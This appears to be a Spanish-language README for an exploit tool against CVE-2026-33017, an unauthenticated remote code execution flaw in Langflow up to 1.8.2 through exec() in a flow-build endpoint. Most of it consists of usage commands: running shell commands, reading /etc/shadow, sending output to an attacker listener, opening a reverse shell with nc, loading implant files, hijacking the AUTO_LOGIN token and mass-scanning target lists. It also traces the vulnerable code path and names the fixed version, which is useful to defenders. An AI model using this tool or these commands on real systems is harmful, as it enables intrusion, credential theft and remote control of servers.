
Exploit para CVE-2026-33017 — RCE no autenticado en Langflow <= 1.8.2 mediante exec() en el endpoint de construcción de flujos
_____
/ \
| () () |
\ ^ /
|||||
exec() sin autenticación, sin sandbox, sin esperanza.
Langflow <= 1.8.2 permite ejecución remota de código sin autenticación a través del endpoint POST /api/v1/build_public_tmp/{flow_id}/flow. Los datos de flujo proporcionados por el atacante que contienen Python arbitrario en las definiciones de nodos se pasan directamente a exec() sin ningún tipo de sandbox.
POST /api/v1/build_public_tmp/{flow_id}/flow
-> chat.py -> start_flow_build() -> build_graph_from_data()
-> Graph.from_payload() -> loading.py -> eval.py create_class()
-> validate.py prepare_global_scope() -> exec(compiled_code)
-> el código arbitrario se ejecuta como el proceso del servidor. fin del juego.
git clone https://github.com/oscarmine/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
python3 exploit.py --url http://target:7860 --check
python3 exploit.py --url http://target:7860 --cmd "id"
# Terminal 1: iniciar el listener
python3 -m http.server 8080
# Terminal 2: lanzar el exploit
python3 exploit.py --url http://target:7860 --cmd "id" \
--callback-get http://your-ip:8080
# Decodifica el base64 de los logs de tu listener:
echo "dWlkPTEwMDAo..." | base64 -d
# Terminal 1: iniciar el listener
nc -l 8080
# Terminal 2: lanzar el exploit
python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
--callback-post http://your-ip:8080
# La salida cruda llega directamente en el cuerpo del POST - sin necesidad de decodificar
# Terminal 1: iniciar el listener
nc -l 4444
# Terminal 2: lanzar el exploit
python3 exploit.py --url http://target:7860 --revshell your-ip 4444
python3 exploit.py --url http://target:7860 --payload-file implant.py
Reglas del archivo de payload:
exec() dentro de prepare_global_scope()_x = os.popen(...).read()) porque el filtro AST solo ejecuta nodos Assign, FunctionDef, ClassDefthreading.Thread(daemon=True) para evitar matar el bucle de eventos asíncronoCuando no existen flujos PÚBLICOS pero AUTO_LOGIN está habilitado (por defecto en muchos despliegues):
python3 exploit.py --url http://target:7860 --auto-promote --cmd "id"
Esto secuestra el token AUTO_LOGIN, aplica PATCH al primer flujo para hacerlo PÚBLICO y luego lo explota.
Escanea múltiples objetivos desde un archivo (solo comprobación de vulnerabilidad):
python3 exploit.py --scan-file targets.txt
python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt
Formato de targets.txt:
http://10.10.10.5:7860
http://10.10.10.6:7860
192.168.1.100:7860
# los comentarios se ignoran
La salida muestra:
python3 exploit.py --url http://target:7860 --cmd "id" \
--proxy http://127.0.0.1:8080
/api/v1/version para identificar el objetivoCustomComponent que contiene Python malicioso en el campo code/api/v1/build_public_tmp/{flow_id}/flow con el parámetro data manipulado. Langflow compila el grafo, que llama a create_class() -> prepare_global_scope() -> exec() sobre el código del atacanteLa corrección en v1.9.0 elimina el parámetro data por completo, forzando al endpoint a usar únicamente los datos de flujo almacenados en la base de datos.
Esta herramienta es solo para investigación de seguridad autorizada. Úsala únicamente contra sistemas para los que tengas permiso explícito de prueba. El autor no es responsable del mal uso.
| Versión | Estado |
|---|
| <= 1.8.1 | Vulnerable |
| 1.8.2 | Corrección reclamada en el changelog pero el código nunca se modificó (confirmado por JFrog) |
| 1.9.0-dev0 a dev11 | Sigue siendo vulnerable |
| 1.9.0 | Realmente corregido - el parámetro data se eliminó del endpoint |